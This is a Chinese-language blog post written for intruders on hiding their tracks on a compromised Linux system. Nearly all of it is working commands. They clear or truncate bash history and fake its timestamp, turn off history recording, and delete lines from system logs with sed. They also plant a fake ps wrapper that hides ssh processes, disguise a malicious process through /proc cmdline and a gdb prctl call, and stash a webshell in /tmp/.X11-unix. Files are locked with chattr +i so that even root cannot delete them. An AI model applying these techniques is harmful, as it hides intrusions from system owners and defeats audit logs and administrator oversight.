渗透痕迹隐匿(Linux系统)

2025-1-13 81 1/13

渗透痕迹隐匿(Linux系统)

暴力撤退

直接杀死进程

kill -9 $$

kill 结束进程 -9 强制结束 $$ 指定当前shell

相较于下面的隐匿操作,这个显得更加暴力,虽然确实有效但是相较于下面的绝对隐匿还是太危险了,首先强制终止进程可能导致系统异常被管理员发现,然后日志文件也会将事件记录,如果对文件进行操作时终止也会导致文件状态异常更加容易被发现

历史命令去痕

原理、本质

在打开一个bash shell 后,.bash_history文件中的内容会被加载到history的记录列表中,并且我们在这一个shell中执行的命令也会被追加到history列表中去,而当我们关闭这个shell时,history列表中的命令就会被写到.bash_history中进行持久化保存

历史命令清除

对于bash shell而言Linux系统会将用户在终端输入的命令记录在~/.bash_history文件中。

(明白这个原理后,我们的历史命令可以在保存入.bash_history中之前就进行清除,从而不会有痕迹)

渗透痕迹隐匿(Linux系统)

清除

  1. 简单覆盖

> ~/.bash_history

渗透痕迹隐匿(Linux系统)

但是这种清除方法比较明显,因为文件的时间戳也会被更新

渗透痕迹隐匿(Linux系统)

  1. 伪造清除

先使用history命令进行清除,然后去改时间戳

echo "" > ~/.bash_history
touch -d "yesterday" ~/.bash_history
history -c

渗透痕迹隐匿(Linux系统)

  1. 清除指定行到文件结尾的所有命令

这里用到流文本编辑器sed

sed -i '3,$d' ~/.bash_history

sed -i命令用于直接在文件中进行修改,而不是像普通的sed命令那样只是将修改后的内容输出到屏幕上。

不记录历史命令

空格+命令可以不触发命令记录

 ls
 history

渗透痕迹隐匿(Linux系统)

临时禁用历史命令

临时禁用历史命令记录

set +o history

重新启用历史命令记录

set -o history

渗透痕迹隐匿(Linux系统)

修改环境变量HISTSIZE(历史命令记录数)

初始是1000条

export HISTSIZE=0

渗透痕迹隐匿(Linux系统)

临走之前,不用给人家将那个HISTSIZE改回来,因为export所设置的是临时变量,当此shell进程结束时临时变量也会失效

隐匿

# 进入前先改环境变量
export HISTSIZE=0
# 临走时进行清除
history -c

如果想临走时给它原来的也清了可以用history -cw但是不利于隐匿

日志去痕

系统日志

/var/log/messages、/var/log/syslog 等

  1. 直接使用vi、nano文本编辑器进行删除

  2. 使用sed进行删除(当交互式编辑器失效时使用)

sed '/error/d' /var/log/messages

/error/是一个正则表达式,后面的d表示删除

用户登录日志

/var/log/auth.log(Debian、Ubuntu 等)或/var/log/secure(Red Hat、CentOS 等)

应用日志

/var/log/apache2/用于存储 Apache 服务器日志,/var/log/mysql/用于存储 MySQL 数据库日志

日志文件

ls -lh /var/log

渗透痕迹隐匿(Linux系统)

进程隐匿

伪造ps命令

查看ps路径

which ps

渗透痕迹隐匿(Linux系统)

ps查看ssh进程

ps -ef | grep ssh

创建一个伪造的ps,位于/usr/local/bin/ps 路径中

# !/bin/bash
/usr/bin/ps $@ | grep -Ev 'ssh'

赋予执行权限

chmod +x /usr/local/bin/ps

重启shell(虽然已经伪造成功,但是目前调用的还是原来的那一个ps)

渗透痕迹隐匿(Linux系统)

重启后查看,发现ssh进程已经被隐藏起来了

渗透痕迹隐匿(Linux系统)

伪造ps正常进程

简单来说就是将恶意进程改为一个正常进程的名字,让管理员不容易发现

命令行参数修改

先查到需要伪装的恶意进程的ID

ps -ef | grep evil

这里假设evil进程的ID为1111

echo "ssh" > /proc/1111/cmdline

结合重定向输出将命令行参数修改

进程名称修改

需要先下载 gdb 工具

sudo gdb -p 1111 -ex "call prctl(15, \"ssh\", 0, 0, 0)" -ex "detach" -ex "quit"

这样就在名称和参数上对恶意进程进行伪装隐藏

拓展

类似与这种可以查到我们的命令都可以进行伪造,如将netstat进行伪造,隐藏自己ip。

管理员一般不会注意到ps的位置已经发生变化,它只在乎有没有风险

文件隐藏

隐藏文件

一般我们的恶意文件或者目录都放在隐藏目录中,就比如/tmp目录下就有隐藏的目录/tmp/.X11-unix

mv muma.php /tmp/.X11-unix/hh.php

直接将木马隐藏到该隐藏目录下。

渗透痕迹隐匿(Linux系统)

修改文件权限

使用chattr命令可以防止root和其他用户删除文件,并且ls -liah 无法排查

 # 添加文件锁定属性
chattr +i 1.txt     
 # 查看文件属性
lsattr 1.txt        
 # 删除文件失败
rm -rf 1.txt      
 # 删除锁定属性
chattr -i 1.txt        
rm -rf 1.txt

渗透痕迹隐匿(Linux系统)

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论